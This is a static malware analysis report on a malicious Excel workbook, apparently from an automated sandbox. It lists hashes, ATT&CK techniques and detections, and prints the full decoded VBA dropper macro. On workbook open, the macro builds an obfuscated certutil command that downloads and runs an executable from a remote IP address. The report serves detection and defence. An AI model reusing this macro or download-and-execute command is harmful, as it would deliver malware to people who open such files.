Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4d8bc509bff4c5ef…

MALICIOUS

Office (OOXML)

12.6 KB Created: 2019-05-13 00:21:23 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2019-09-30
MD5: fe5b97c70eea2734e89c1df370559104 SHA-1: 4246e597a4dca36c6020dd3e9efb16deb5748c19 SHA-256: 4d8bc509bff4c5efb4e3ae22e2e49bdd58ac8a6829899ef747867c48953b2d12
332 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a Workbook_Open VBA macro that executes obfuscated code. This code constructs and runs a command to download a file from 'http://45.67.14.154/E/891201' into the temporary directory as 'OEupQDFEZpCzqSaKpOzIIN.exe' and then executes it. This indicates the document is a dropper designed to fetch and run a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6968961-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6968961-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub teregdacetm(alfdWOQWn As String)
        With CreateObject("WScript.Shell")
            .Run alfdWOQWn, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), True
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Sub teregdacetm(alfdWOQWn As String)
        With CreateObject("WScript.Shell")
            .Run alfdWOQWn, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub teregdacetm(alfdWOQWn As String)
        With CreateObject("WScript.Shell")
            .Run alfdWOQWn, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), True
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    voqdufPZkCwQvAIWETkDn = "cmd /c" & _
    " " & _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
    Call XzVruxuXyyMKWvtNlxvJzvH
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://45.67.14.154/E/891201 Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1938 bytes
SHA-256: d79e3994a7dc7ab41caed7b9d44352304291d57291e73e8b4f7e8938f6bc2d6d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
Call XzVruxuXyyMKWvtNlxvJzvH
End Sub

Private Sub XzVruxuXyyMKWvtNlxvJzvH()
Dim eiPrvMzlCKAodUhXuiVWLhFxVihBZhx

Dim UbqAQUaqUGOaURyngChcZZ

Application.Run "PNkDrfNmF.TZfoVJUDL"

Dim wcRVNfyLVMjTCehGaIfBETedDkt

Dim QUigLVDTrRlVFcINZbKvv

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "PNkDrfNmF"


Public Sub TZfoVJUDL()

On Error Resume Next












zzz = Left$("cenYiuR5W9lkJ1QFNdp1LOXr3xpUnASRRgA44xMoMDOiPLjv1mbgD8qYSOYp2xGk7JtbiL28sFyhxiKYc", Log(10) - Log(2))




voqdufPZkCwQvAIWETkDn = "cmd /c" & _
" " & _
zzz & "rtutil" & _
" " & _
"-urlcache" & _
" " & _
"-split" & _
" " & _
"-f" & _
" " & _
"http://45.67.14.154/E/891201" & _
" " & _
"%TEMP%\OEupQDFEZpCzqSaKpOzIIN.exe" & _
"&" & _
" " & _
"%TEMP%\OEupQDFEZpCzqSaKpOzIIN.exe"

Dim klo As Integer


klo = 56

    If klo = 5647 Then

            Dim b As Boolean

       
    Else
       teregdacetm (voqdufPZkCwQvAIWETkDn + HOBqwFCnXSjgfXebuCkhntdqXiBHxHO)
    End If





End Sub


Sub teregdacetm(alfdWOQWn As String)
    With CreateObject("WScript.Shell")
        .Run alfdWOQWn, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965207171466558669015372347853185123047524556333900563576839593172803245215818260", 47), 1), 1), True
    End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: b8bf8a1c793933c0c5b8f088ddfc7554d62d8db6706e40e1740c0dc0e5266c3f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).